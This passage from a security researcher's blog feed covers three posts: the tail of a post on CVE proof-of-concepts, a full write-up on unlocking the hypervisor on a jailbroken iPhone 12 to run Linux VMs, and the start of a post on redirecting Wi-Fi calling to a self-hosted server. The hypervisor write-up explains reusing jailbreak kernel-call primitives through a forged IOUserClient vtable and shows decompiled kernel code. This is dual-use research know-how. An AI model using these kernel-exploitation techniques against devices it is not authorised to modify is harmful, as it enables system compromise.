  <li>and most importantly, thank you so, <em>so</em> much to <a href="https://twitter.com/littlelailo">@littlelailo</a> for <a href="https://twitter.com/littlelailo/status/1527563427455066113">teaching me</a>, guiding me through how these bugs worked, and for responding to all my questions with great answers and suggestions.</li>
</ul>

<h2 id="what-i-learned">What I learned</h2>

<ul>
  <li>How to extract codesigning certificates with <code class="language-plaintext highlighter-rouge">codesign</code> and with <code class="language-plaintext highlighter-rouge">Security.framework</code></li>
  <li>How to create X.509 certificates with extensions using OpenSSL</li>
  <li>How CoreTrust’s fast path works</li>
  <li>How to create a simple DeviceKit driver</li>
  <li>How to disable a kext driver on Apple Silicon</li>
  <li>How to <a href="https://stackoverflow.com/a/54296008">disable signing in Xcode</a></li>
  <li>You can keep SIP enabled with a custom kernel collection</li>
</ul>]]></content><author><name></name></author><category term="macos" /><summary type="html"><![CDATA[Here are two proof-of-concepts for CVE-2022-26766 (CoreTrust allows any root certificate) and CVE-2022-26763 (IOPCIDevice::_MemoryAccess not checking bounds at all), two issues discovered by @LinusHenze and patched in macOS 12.4 / iOS 15.5.]]></summary></entry><entry><title type="html">Hardware-accelerated virtual machines on jailbroken iPhone 12 / iOS 14.1</title><link href="https://worthdoingbadly.com/hv/" rel="alternate" type="text/html" title="Hardware-accelerated virtual machines on jailbroken iPhone 12 / iOS 14.1" /><published>2022-06-06T00:00:00+00:00</published><updated>2022-06-06T00:00:00+00:00</updated><id>https://worthdoingbadly.com/hv</id><content type="html" xml:base="https://worthdoingbadly.com/hv/"><![CDATA[<p>I unlocked <a href="https://developer.apple.com/documentation/hypervisor?language=objc">Hypervisor.framework</a> on my jailbroken phone and modified <a href="https://getutm.app">UTM</a>, a popular <a href="https://www.qemu.org">QEMU</a> port for iOS, to run arm64 Linux in a VM at full native speed. …for the clickbait - and to show iPhone’s untapped potential.</p>

<p>iPhone 12’s A14 CPU supports virtualization, just like Apple Silicon Macs. Virtualization support is disabled in the kernel, but can be re-enabled with a jailbreak. VMs on iPhone 12 are limited to 900MB of RAM, however.</p>

<p>Here’s a video of my iPhone 12 running the modified UTM, booting a Fedora 36 VM, and showing the requisite Neofetch and LibreOffice demo.</p>

<iframe width="560" height="315" src="https://www.youtube-nocookie.com/embed/yrRR7reUseo" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>

<h1 id="information">Information</h1>

<h4 id="is-this-practical">Is this practical?</h4>

<p>Absolutely not. This is a proof-of-concept that targets iPhone 12 on iOS 14.1 only. It’s also really unstable (VMs can only use 900MB of RAM, and if it goes over, often the whole phone crashes and reboots).</p>

<h4 id="how-much-faster-is-hardware-accelerated-virtualization-compared-to-utms-jit-mode">How much faster is hardware accelerated virtualization compared to UTM’s JIT mode?</h4>

<p>Single-core score in Geekbench 5:</p>

<ul>
  <li>Native iPhone 12: <a href="https://browser.geekbench.com/ios_devices/iphone-12">1573</a></li>
  <li>Hypervisor.framework: <a href="https://browser.geekbench.com/v5/cpu/15319609">1504</a> to <a href="https://browser.geekbench.com/v5/cpu/15298464">1511</a></li>
</ul>

<p>This is almost native speed.</p>

<p>I did not try running Geekbench in JIT-only mode on my phone. However, an Apple Silicon Mac gets a Geekbench score of <a href="https://khronokernel.github.io/apple/silicon/2021/01/17/QEMU-AS.html">68</a> when emulating x86 with QEMU/UTM JIT. Emulating arm64 would have a smaller overhead, but I’d still expect a 5x to 10x slowdown.</p>

<p>One disadvantage of hardware accelerated virtualization: double the RAM overhead. iOS terminates the VM when it uses more than 1GB of RAM. In non-hardware accelerated mode, VMs can use 2GB of RAM. (I tried increasing this limit, but this caused kernel panics)</p>

<h4 id="can-this-be-ported-to-other-devices">Can this be ported to other devices?</h4>

<p>A14 (iPhone 12) on jailbroken iOS 14.7 and below:</p>
<ul>
  <li>The kernel unlock can be ported to iOS versions supposed by Fugu14</li>
  <li>(the unlock won’t work on iOS 15 since the hypervisor heap was moved to read-only memory)</li>
  <li>I did not attempt to handle different kernel versions in my proof-of-concept</li>
  <li>to make this usable on other devices/versions, you’ll need to implement patchfinding for offsets</li>
  <li>if you have any questions, I’ll be happy to help.</li>
</ul>

<p>M1 (iPad Pro 2021/iPad Air 2022) on jailbroken iOS 14/15:</p>
<ul>
  <li>These devices already have Hypervisor support unlocked in the kernel</li>
  <li>so any jailbreak should work, not just Fugu14</li>
  <li>sign with the <code class="language-plaintext highlighter-rouge">com.apple.private.hypervisor</code> entitlement and include the decompiled Hypervisor.framework</li>
</ul>

<p>All other devices:</p>
<ul>
  <li>CPUs before A14/M1 do not have hardware accelerated virtualization support</li>
</ul>

<h4 id="will-it-run-crysis">Will it run Crysis?</h4>

<p>No.</p>

<p>Believe me, I tried. Windows arm64 refused to boot on my decompiled Hypervisor.framework, and I don’t have time to troubleshoot why.</p>

<p>Even if Windows were to boot, software rendered Crysis runs at 1fps at 640x480 on my M1 Mac Mini with 4 performance cores… so on an iPhone with 2 performance cores, it’d be 0.5fps.</p>

<p>(I also tried booting Android - I spent several days trying to run <a href="https://waydro.id">Waydroid</a> in my Linux VM without success. The lack of RAM prevents it from working anyways.)</p>

<h1 id="how-this-works">How this works</h1>

<p>Unlocking Hypervisor.framework required three parts:</p>

<ul>
  <li><a href="https://github.com/zhuowei/Fugu14/tree/wip-connect6">A modified Fugu14 jailbreak</a> to call hypervisor functions in the kernel</li>
  <li><a href="https://github.com/zhuowei/HvDecompile">A hand-decompiled Hypervisor.framework</a> to talk with the kernel’s hypervisor support</li>
  <li><a href="https://github.com/zhuowei/UTM">A modified version of UTM</a>, the QEMU port for iOS, that uses the Hypervisor.framework support</li>
</ul>

<h1 id="why-hypervisor-syscalls-dont-work-on-iphones">Why Hypervisor syscalls don’t work on iPhones</h1>

<p>Hypervisor support is not included in the open source XNU release, but is present in the kernel itself (unlike on Intel platforms, where it’s a separate kext).</p>

<p>Hypervisor support is initialized during kernel boot <a href="https://github.com/apple-oss-distributions/xnu/blob/e7776783b89a353188416a9a346c6cdb4928faad/osfmk/kern/startup.c#L671">here</a>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">kernel_bootstrap_thread_log</span><span class="p">(</span><span class="s">"hv_support_init"</span><span class="p">);</span>
  <span class="n">HvEnabled</span> <span class="o">=</span> <span class="n">hv_initialize</span><span class="p">();</span>
</code></pre></div></div>

<p>hv_initialize checks the CPU’s <a href="https://developer.arm.com/documentation/ddi0595/2021-06/AArch64-Registers/MIDR-EL1--Main-ID-Register"><code class="language-plaintext highlighter-rouge">midr</code></a> register for its <a href="https://github.com/AsahiLinux/docs/wiki/HW%3AARM-System-Registers#midr_el1-arm-standard">model number</a>.</p>

<p>If it’s an Apple processor (implementor = 0x61) and the model number is 32 (A14 Icestorm) or 33 (A14 Firestorm), the function returns false. Otherwise - if, say, the processor is an M1 - the function creates a heap and returns true.</p>

<p>(The iOS 15 version of this additionally checks for A15’s performance and efficiency cores, and also returns false.)</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">undefined8</span> <span class="nf">hv_initialize</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>

<span class="p">{</span>
  <span class="n">ulong</span> <span class="n">uVar1</span><span class="p">;</span>
  
  <span class="n">uVar1</span> <span class="o">=</span> <span class="n">cRead_8</span><span class="p">(</span><span class="n">currentel</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(((</span><span class="n">uVar1</span> <span class="o">&amp;</span> <span class="mh">0xc</span><span class="p">)</span> <span class="o">==</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">HvProcessorMidr</span> <span class="o">&gt;&gt;</span> <span class="mh">0x18</span> <span class="o">==</span> <span class="mh">0x61</span><span class="p">))</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">((</span><span class="n">HvProcessorMidr</span> <span class="o">&amp;</span> <span class="mh">0xffe0</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x200</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">_HvCheckStatusAble</span> <span class="o">=</span> <span class="n">_HvCheckStatusAble</span> <span class="o">|</span> <span class="mi">3</span><span class="p">;</span>
      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">HvHeap</span> <span class="o">=</span> <span class="n">zone_create_ext</span><span class="p">(</span><span class="s">"hv_vm"</span><span class="p">,</span><span class="mh">0x2080</span><span class="p">,</span><span class="mh">0x10000000</span><span class="p">,</span><span class="mh">0xffff</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Then, in <a href="https://github.com/apple-oss-distributions/xnu/blob/e7776783b89a353188416a9a346c6cdb4928faad/osfmk/arm64/sleh.c#L1628"><code class="language-plaintext highlighter-rouge">handle_svc</code></a>, an extra switch case checks for -5, the hypervisor Mach trap:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="k">if</span> <span class="p">(</span><span class="n">iVar4</span> <span class="o">==</span> <span class="o">-</span><span class="mi">5</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">lVar5</span> <span class="o">=</span> <span class="o">-</span><span class="mh">0x516bfff</span><span class="p">;</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">HvEnabled</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
          <span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mi">2</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0xfffffffffae9400f</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">else</span> <span class="p">{</span>
          <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">ulong</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mi">2</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mh">0xe</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">iVar4</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">code</span> <span class="o">*</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">PTR_HvGetCapabilitiesHandler_fffffff007818990</span><span class="p">)</span>
                              <span class="p">[</span><span class="o">*</span><span class="p">(</span><span class="n">ulong</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mi">2</span><span class="p">)])(</span><span class="o">*</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mi">4</span><span class="p">));</span>
            <span class="n">lVar5</span> <span class="o">=</span> <span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">iVar4</span><span class="p">;</span>
          <span class="p">}</span>
          <span class="o">*</span><span class="p">(</span><span class="kt">long</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mi">2</span><span class="p">)</span> <span class="o">=</span> <span class="n">lVar5</span><span class="p">;</span>
        <span class="p">}</span>
      <span class="p">}</span>
</code></pre></div></div>

<p>If hypervisor support is enabled, this code dispatches to the hypervisor Mach trap handler. If hypervisor support is disabled, this code simply returns 0xfae9400f - <code class="language-plaintext highlighter-rouge">HV_UNSUPPORTED</code>.</p>

<p>You can test this - even without a jailbreak - by running <a href="https://gist.github.com/zhuowei/43777b6741645a91fb81eb9ab192ca38">this code</a>, which attempts to create a VM.</p>

<ul>
  <li>on a Mac, or an iPad Pro/Air with M1, you’ll get HV_DENIED (0xfae94007)</li>
  <li>on iPhone 12, HV_UNSUPPORTED (0xfae9400f)</li>
  <li>on iPhone 11 and below, EXC_SYSCALL</li>
</ul>

<p>To access Hypervisor.framework on an iPad Pro/Air with an M1, all you need is the <code class="language-plaintext highlighter-rouge">com.apple.private.hypervisor</code> entitlement, and everything should work.</p>

<p>That’s no fun, though: we already know that the M1 in an iPad Pro/Air gets <a href="https://arstechnica.com/gadgets/2022/03/2022-ipad-air-review-m1-other-tablets-0/">the same benchmark scores</a> as an M1 in a Mac, so virtualization on an iPad would probably be similar to a MacBook.</p>

<p>What I want to try is running on iPhone. To do this, we need to get around the <code class="language-plaintext highlighter-rouge">HV_UNSUPPORTED</code> error.</p>

<h1 id="unlocking-the-hypervisor-syscalls-on-iphone-modifying-fugu14">Unlocking the hypervisor syscalls on iPhone: modifying Fugu14</h1>

<p>Unfortunately, <code class="language-plaintext highlighter-rouge">HvEnabled</code>, the flag that sets whether hypervisor support can be used, is in read-only kernel memory. Once the device boots, there’s no way to re-enable the normal syscall route.</p>

<p>However, we can just directly call the hypervisor functions in the kernel, bypassing the disabled syscall, with a jailbreak that supports kernel calls.</p>

<p>Linus Henze’s <a href="https://github.com/LinusHenze/Fugu14">Fugu14</a> is the only iOS 14 jailbreak with kernel call/PAC signing support.</p>

<p>However, my device is iOS 14.1, and does not have the vulnerable <code class="language-plaintext highlighter-rouge">CreateMemoryDescriptorFromClient</code> method.</p>

<p>I decided to jailbreak with <a href="https://github.com/Odyssey-Team/Taurine">Taurine</a>, then use Fugu14 to call kernel functions.</p>

<p>To do so, I replaced Fugu14’s kernel read/write exploit with calls to Taurine’s <code class="language-plaintext highlighter-rouge">libkernrw</code>.</p>

<p>To my surprise, the kernel call function worked fine using <code class="language-plaintext highlighter-rouge">libkernrw</code> as a backend, even though Fugu14’s kernel bug gives physical memory access via memory mapping, while <code class="language-plaintext highlighter-rouge">libkernrw</code> gives kernel virtual memory access via IPC and syscall.</p>

<p>The only changes I needed to make were:</p>

<ul>
  <li>remove all physical memory access functions; replace kernel virtual memory access functions with calls to <code class="language-plaintext highlighter-rouge">libkernrw</code></li>
  <li>replace all physical memory accesses with virtual memory accesses</li>
  <li>replace anything that maps a physical page into userspace with calls to read/write through <code class="language-plaintext highlighter-rouge">libkernrw</code></li>
  <li>made the patchfinder <a href="https://github.com/zhuowei/Fugu14/blob/d152c6116fd17a7f617e83447d320983ebd71da6/arm/shared/KernelExploit/Sources/KernelExploit/MemoryAccess.swift#L102">load the kernel from disk</a> instead of dumping from memory, which takes minutes using <code class="language-plaintext highlighter-rouge">libkernrw</code></li>
</ul>

<p>all uses of physical addresses was easily replaced… except one:</p>

<p>The exploit starts a thread that used a physical memory mapping to <a href="https://github.com/zhuowei/Fugu14/blob/0105b9f6bd2fb006ef91e13029bb905e1bdb8f24/arm/iOS/jailbreakd/Sources/asmAndC/asm.S#L24">overwrite its own</a> kernel stack pointer (<code class="language-plaintext highlighter-rouge">machine.kstackptr</code>) before making a syscall.</p>

<p>I didn’t know whether calling <code class="language-plaintext highlighter-rouge">libkernrw</code> - which would result in an extra IPC call to jailbreakd before the start of the exploit - would break it.</p>

<p>So, out of caution, I made the exploit thread <a href="https://github.com/zhuowei/Fugu14/blob/d152c6116fd17a7f617e83447d320983ebd71da6/arm/iOS/jailbreakd/Sources/asmAndC/asm.S#L25">wait in a loop</a>, and did the write <a href="https://github.com/zhuowei/Fugu14/blob/d152c6116fd17a7f617e83447d320983ebd71da6/arm/iOS/jailbreakd/Sources/jailbreakd/PostExploitation.swift#L400">from the main thread</a> instead.</p>

<p>This modularity of Fugu14 is a real testament to Linus Henze’s software engineering skills… and a boon to script kiddles like me: I can just mix and match jailbreaks to get what I want :D</p>

<h1 id="exporting-the-kernel-call">Exporting the kernel call</h1>

<p>Fugu14 gives researchers kernel call capability in one process and one thread. However, for running virtual machines, I need to make kernel calls from multiple threads.</p>

<p>I decided to use the traditional way to call kernel functions: a modified <code class="language-plaintext highlighter-rouge">IOUserClient</code> - which can be sent across processes and used simultaneously on multiple threads.</p>

<p>The steps to make an <code class="language-plaintext highlighter-rouge">IOUserClient</code> for kernel calls is <a href="https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html">well known</a>: make a fake <code class="language-plaintext highlighter-rouge">IOUserClient</code> object, make a fake Vtable, override <code class="language-plaintext highlighter-rouge">getExternalTrapForIndex</code> to point to your function. I used <a href="https://github.com/Odyssey-Team/Taurine/blob/0ee53dde05da8ce5a9b7192e4164ffdae7397f94/Taurine/post-exploit/utils/kexec/kexecute.swift#L42">Electra’s code</a> as a guide.</p>

<p>However, PAC requires signing. every. single. pointer. Which was rather annoying - it takes over a minute to sign each of the ~100 pointers in the vtable.</p>

<p>But at the end of it, I have a Mach port that I can use with IOConnectTrap6 to call PAC-signed pointers with two arguments.</p>

<p>I then <a href="https://github.com/zhuowei/Fugu14/blob/d152c6116fd17a7f617e83447d320983ebd71da6/arm/iOS/jailbreakd/Sources/jailbreakd/main.swift#L358">register</a> the jailbreakd task point with <code class="language-plaintext highlighter-rouge">launchd</code> using <code class="language-plaintext highlighter-rouge">bootstrap_register</code>, so that apps can <a href="https://github.com/zhuowei/HvDecompile/blob/f35ca73a47c8bbc3991df851440d661fec68cad3/userclient_hv_trap.m#L46">grab the IOUserClient</a> directly out of jailbreakd with <code class="language-plaintext highlighter-rouge">mach_port_extract_right</code>.</p>

<p>(Yes, I should’ve used an XPC service, but, hey, proof of concept.)</p>

<h1 id="decompiling-hypervisorframework">Decompiling Hypervisor.framework</h1>

<p>iOS does not ship with the userspace code for Hypervisor.framework, and I can’t just copy macOS’s Hypervisor.framework over (for one thing, it can’t be extracted from the dyld cache, and I also needed to replace the syscall with my IOUserClient.)</p>

<p>Thankfully, the library is tiny (30KB), so I threw it into Ghidra, used its decompiler to get pseudo-code of each function, and hand-translated it back to Objective-C.</p>

<p>Hypervisor.framework is a very thin wrapper around the kernel functionality. It uses two pages mapped into userspace to communicate with the kernel.</p>

<p>Apple made my life super easy by including the structures of those two pages in the macOS Kernel Debug Kit. I simply dumped the structures using lldb: running</p>

<p><code class="language-plaintext highlighter-rouge">type lookup arm_guest_context_t</code></p>

<p>gives me a <a href="https://github.com/zhuowei/HvDecompile/blob/main/hv_kernel_structs.h">nice dump</a> of the structures.</p>

<p>These kernel structures changed slightly between macOS 11.0/iOS 14.1 and macOS 12.3.1, so I had to compare the struct definition from macOS 11.0 and 12.3.1’s kernel symbols, then add <code class="language-plaintext highlighter-rouge">#define</code>s to my header to allow me to test on both macOS 12 and iOS 14.1</p>

<p>My library isn’t a full decompile - only enough to boot Linux in QEMU.</p>

<p>For example, some registers such as <code class="language-plaintext highlighter-rouge">aa64pfr0_el1</code> are emulated in userspace instead of in kernel/hardware. Instead of emulating this register access, I just pass the vmexit event to QEMU, which handles it anyways.</p>

<p>In another example, there’s an optimization for getting/setting system registers to avoid calling <code class="language-plaintext highlighter-rouge">HV_CALL_VCPU_SYSREGS_SYNC</code> unnecessarily. I didn’t bother decompling this since QEMU doesn’t set/get registers often.</p>

<p>Unfortunately, it seems Windows arm64 breaks my decompiled library, so I guess the parts I omitted were used at least by one guest operating system… oh well.</p>

<p>I tested this by using <code class="language-plaintext highlighter-rouge">DYLD_FRAMEWORK_PATH=</code> to replace the system Hypervisor.framework when running QEMU on macOS. Once this worked on macOS, I started bringing it to iOS.</p>

<h1 id="modifying-utm">Modifying UTM</h1>

<p>I decided to modify the excellent <a href="https://getutm.app">UTM</a>, a port of QEMU to macOS and iOS. Since QEMU and UTM already support Hypervisor.framework on Apple Silicon, all <a href="https://github.com/zhuowei/UTM/commits/master">I needed to do</a> was:</p>

<ul>
  <li>remove a few <code class="language-plaintext highlighter-rouge">os(macOS)</code> checks in UTM</li>
  <li>add the entitlements to access Hypervisor.framework and to communicate with the modified Fugu14</li>
  <li>work around an issue with <a href="https://github.com/utmapp/UTM/issues/3628#issuecomment-1144463617">UTM and Taurine</a></li>
</ul>

<p>and it just worked!</p>

<p>After enabling “Hypervisor” in UTM’s VM Settings -&gt; QEMU -&gt; Hypervisor, I saw my code printing logging messages, and Fedora Linux booted in seconds instead of minutes.</p>

<h1 id="conclusion">Conclusion</h1>

<p>Putting Linux in a VM on my iPhone 12 definitely increases its resale value (One-of-a-kind, No lowball offers: I know what I have!)… but there’s not enough jailbroken iPhone 12/iPad Pros with iOS 14.x to justify more work on this.</p>

<p>Instead, I only aimed to show that Apple has the power to enable VMs on iPhones, and that they should offer this feature to remain competitive with power users, now that other devices, such as the Pixel 6 on <a href="https://arstechnica.com/gadgets/2022/02/android-13-virtualization-hack-runs-windows-and-doom-in-a-vm-on-android/">Android 13</a>, is about to launch virtualization support.</p>

<p>I honestly doubt Apple’ll ever enable virtual machines on iPhones, seeing that they intentionally check for A14/A15 to disable virtualization.</p>

<p>However, there’s no check for M1 iPads, so there’s hope… if we find the right way to convince Apple.</p>

<p>Apple, you like service revenue, right? I will pay $10/month to run virtual machines on my iPad. I’m sure I’m not the only one. Think about it…</p>

<h1 id="thanks">Thanks</h1>

<ul>
  <li>Linux Henze for building Fugu14. It’s the most powerful jailbreak in recent memory, yet it’s also the most <a href="https://github.com/LinusHenze/Fugu14/blob/master/Writeup.pdf">well-documented</a> jailbreak I’ve ever seen. It’s also modular enough that a script kiddie like me can reuse it for different tasks.</li>
  <li>The <a href="https://github.com/utmapp/UTM">UTM developers</a> for their excellent QEMU port to iOS.</li>
  <li>Everyone in the community for their support and encouragement.</li>
</ul>

<h1 id="what-i-learned">What I learned</h1>

<ul>
  <li>How to modify Fugu14 to use its kernel execute functionality without its actual jailbreak</li>
  <li>How to share kernel execute functionality between processes and threads by modifying an IOUserClient</li>
  <li>How Hypervisor.framework communicates with the kernel</li>
  <li>How to extract structs from Kernel Debug Kit</li>
  <li>How not to run Android (spoiler alert: neither Ranchu (the Android Studio emulator) nor Cuttlefish (the cloud emulator) works in vanilla QEMU)</li>
  <li>How to <a href="https://docs.waydro.id/development/compile-waydroid-lineage-os-based-images">build Waydroid</a>, how long it takes on a cloud VM (3 hours - 1 h to download and 2 h to build), how large it is (190GB), and how much it costs ($10). (I didn’t end up using the build, alas…)</li>
</ul>]]></content><author><name></name></author><category term="ios" /><summary type="html"><![CDATA[I unlocked Hypervisor.framework on my jailbroken phone and modified UTM, a popular QEMU port for iOS, to run arm64 Linux in a VM at full native speed. …for the clickbait - and to show iPhone’s untapped potential.]]></summary></entry><entry><title type="html">VoLTE/VoWiFi research with $0 of equipment: set up a phone network over Wi-Fi calling</title><link href="https://worthdoingbadly.com/vowifi2/" rel="alternate" type="text/html" title="VoLTE/VoWiFi research with $0 of equipment: set up a phone network over Wi-Fi calling" /><published>2022-01-08T00:00:00+00:00</published><updated>2022-01-08T00:00:00+00:00</updated><id>https://worthdoingbadly.com/vowifi2</id><content type="html" xml:base="https://worthdoingbadly.com/vowifi2/"><![CDATA[<p>You don’t need expensive equipment for VoLTE/VoWiFi research! Learn how VoLTE/VoWiFi works by setting up your own Wi-Fi calling server with free software.</p>

<p>There’s no practical use for this (you can’t connect your private phone network to the real phone network, so you can only call yourself), but it’s fun!</p>

<h1 id="introduction">Introduction</h1>

<p><img src="/assets/blog/vowifi2/vowifi2_header.jpg" alt="" /></p>

<p><em>This is the second post in a series of VoWifi/VoLTE posts. The first is <a href="/vowifi/">here</a>.</em></p>

<p>I’m setting up my own <a href="https://excelcoin.org/phone/">private phone network</a>, and you can too!</p>

<p>This isn’t just an ordinary Discord channel or private VoIP PBX. I’ll show you how to take over the Wi-Fi calling on a jailbroken iPhone to integrate into the native phone dialer and SMS app, just like a real carrier.</p>

<p>My end goal is to issue my own SIM cards that connects any phone, jailbroken or unjailbroken, to my phone network over Wi-Fi.</p>

<p>Useless? Maybe: you can only dial other people on the private phone network. It’d be like an IRC server, but over text messages and phone calls. But if you want to try it, email me!</p>

<p>VoLTE and Wi-Fi calling are based on open standards like IPsec/IKEv2 and SIP, so our phone network will be built out of free software:</p>

<p>iPhone -&gt; <a href="https://github.com/ExcelCoin/RedirectVoWiFiTweak">jailbreak tweak to redirect Wi-Fi calling</a> -&gt; <a href="https://github.com/ExcelCoin/VoWiFiLocalDemo">my Docker container</a> -&gt; StrongSwan -&gt; Kamailio</p>

<h1 id="examine-vowifi">Examine VoWiFi</h1>

<p>To understand VoLTE and VoWiFi, start by capturing the traffic from your phone when you make a phone call or send an SMS.</p>

<p>All you need is an iPhone and a Mac with Xcode and Wireshark.</p>

<p>Xcode provides the <a href="https://developer.apple.com/documentation/network/recording_a_packet_trace?language=objc"><code class="language-plaintext highlighter-rouge">rvictl</code></a> tool to capture all network traffic from an iPhone, no jailbreak required.</p>

<p>Edit: If you don’t have a Mac, <a href="https://github.com/gh2o/rvi_capture">gh2o’s rvi_capture</a> can capture on Linux and Windows. (Thanks, Adam, for letting me know!)</p>

<p>All SIP messages between the phone and carrier are visible, fully unencrypted. You can see what happens when you call another phone:</p>

<p><img src="/assets/blog/vowifi2/call_another_phone_invite.png" alt="" /></p>

<p>Or how you receive a text message:</p>

<p><img src="/assets/blog/vowifi2/receive_an_sms.png" alt="" /></p>

<p>On VoWiFi, you can even dump the actual voice codec packets.</p>

<p>In addition, the iPhone also offers logs from the VoWiFi ePDG VPN tunnel and SMS processing:</p>

<p>Open the Console app on a Mac, filter to CommCenter, then enable “Action -&gt; Include Info Messages / Include Debug Messages”.</p>

<p>Then, filter for CommCenter for VoLTE/VoWiFi messages, such as this IKEv2 handshake:</p>

<p><img src="/assets/blog/vowifi2/ike_handshake.png" alt="" /></p>

<h1 id="our-own-phone-network">Our own phone network</h1>

<p>What if you don’t want to just look at the VoLTE/VoWiFi packets? What if you want to build your own network?</p>

<p>To do that, you need a jailbroken iPhone and a Docker container.</p>

<p>I’m using a jailbroken iPhone 12 on iOS 14.1 with a Verizon SIM.</p>

<p>If you’re on Android, devices launched with Android 10 and above (all devices built in 2020 or later) can likely redirect Wi-Fi calling without root, but I haven’t tried it yet.</p>

<h1 id="redirecting-the-epdg-connection">redirecting the ePDG connection</h1>

<p>We’re targeting VoWiFi (Wi-Fi calling) since running a VoLTE network requires at least a <a href="https://docs.srsran.com/en/latest/app_notes/source/hw_packs/source/index.html">$150 radio</a> and approval for broadcasting on LTE frequncies. You don’t need any special hardware or red tape for Wi-Fi.</p>

<p>Wi-Fi calling is protected using an IPsec/IKEv2 VPN tunnel, and authenticated using EAP-AKA, which uses a secret key on the SIM card that only the carrier knows. (See my <a href="/vowifi/">previous post</a> for details)</p>

<p>Since I don’t have blank SIM cards, I wrote a jailbreak tweak to replace the SIM card check with a simple pre-shared key (password) authentication.</p>

<p>To run the tweak, you’ll need to:</p>

<ul>
  <li>jailbreak your phone and install Substrate or other method hooking platform.</li>
  <li>setup <a href="https://theos.dev/docs/installation-macos">Theos</a></li>
  <li>clone <a href="https://github.com/ExcelCoin/RedirectVoWiFiTweak">RedirectVoWiFiTweak</a></li>
  <li>point the <a href="https://github.com/ExcelCoin/RedirectVoWiFiTweak/blob/ca42451ebe27a6dfd2363d7a89c27b8ef4af7a06/Tweak.x#L12">server address</a> to the address of your VoWiFi server</li>
  <li><code class="language-plaintext highlighter-rouge">make package install</code></li>
  <li>put your phone in Airplane Mode, then enable Wi-Fi calling (Settings -&gt; Cellular -&gt; Wi-Fi Calling)</li>
</ul>

<p>End result: VoWifi tunnel creates a VPN to your IPsec/IKEv2 VPN server instead of Verizon’s.</p>

<h1 id="how-i-built-the-tweak">How I built the tweak</h1>

<p>iPhones run the entire VoLTE/VoWiFi stack in userspace: with a jailbreak, we can do anything. However, my end goal is to make this work with a custom SIM card on an unjailbroken phone, so I only did the minimum amount of changes.</p>

<p>ePDG is just an IPsec/IKEv2 VPN tunnel with the EAP-AKA authentication on SIM card. To disable EAP-AKA authentication and switch to PSK:</p>

<ul>
  <li>I ran <code class="language-plaintext highlighter-rouge">nm CommCenter</code> and saw that it was using <code class="language-plaintext highlighter-rouge">NEIPSecIKECreateSessionWithInterface</code> to start the VPN tunnel.</li>
  <li>I found the symbol in NetworkExtensions and disassembled it in Ghidra</li>
  <li>it’s a wrapper around <code class="language-plaintext highlighter-rouge">-[NEIKEv2Session initWithIKEConfig:firstChildConfig:sessionConfig:queue:ipsecInterface:ikeSocketHandler:saSession:packetDelegate:]</code>`</li>
  <li>I hooked that method, and dumped the arguments</li>
  <li>I made another IPsec/IKEv2 tunnel on a Mac with PSK</li>
  <li>I attached to macOS’s VPN implementation:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">lldb -n NEIKEv2Provider -w</code></li>
      <li><code class="language-plaintext highlighter-rouge">b initWithIKEConfig:firstChildConfig:sessionConfig:queue:ipsecInterface:ikeSocketHandler:saSession:packetDelegate:</code></li>
    </ul>
  </li>
  <li>I compared its arguments against the VoLTE ePDG tunnel to see how macOS sets up PSK</li>
  <li>I made my tweak set the same flags for PSK</li>
</ul>

<p>This was my first iPhone tweak, so thanks to everyone who helped me:</p>

<ul>
  <li><a href="https://github.com/ExcelCoin/RedirectVoWiFiTweak/pull/1">dlevi309</a> for sending me a pull request to auto restart CommCenter</li>
  <li><a href="https://twitter.com/hbkirb/status/1477789560406900736">hbkirb</a> for pointing me to <a href="https://github.com/HearseDev/logos-format">HearseDev</a>’s clang-format wrapper for Theos’ Logos language</li>
</ul>

<p>and thanks to the resources I consulted:</p>

<ul>
  <li><a href="https://github.com/Kanns103/GuideToTweakDevelopment13-14">Kanns103</a>’s guide to tweak development</li>
  <li><a href="https://github.com/elihwyma/commcenterpatch13">elihwyma</a>’s commcenterpatch13, which also hooked CommCenter</li>
</ul>

<h1 id="wi-fi-calling-server-with-strongswan-and-kamailio">Wi-Fi calling server with StrongSwan and Kamailio</h1>

<p>A phone talks to two services to set up VoWifi:</p>

<ul>
  <li>the ePDG, an IPsec/IKEv2 VPN server. We use StrongSwan.</li>
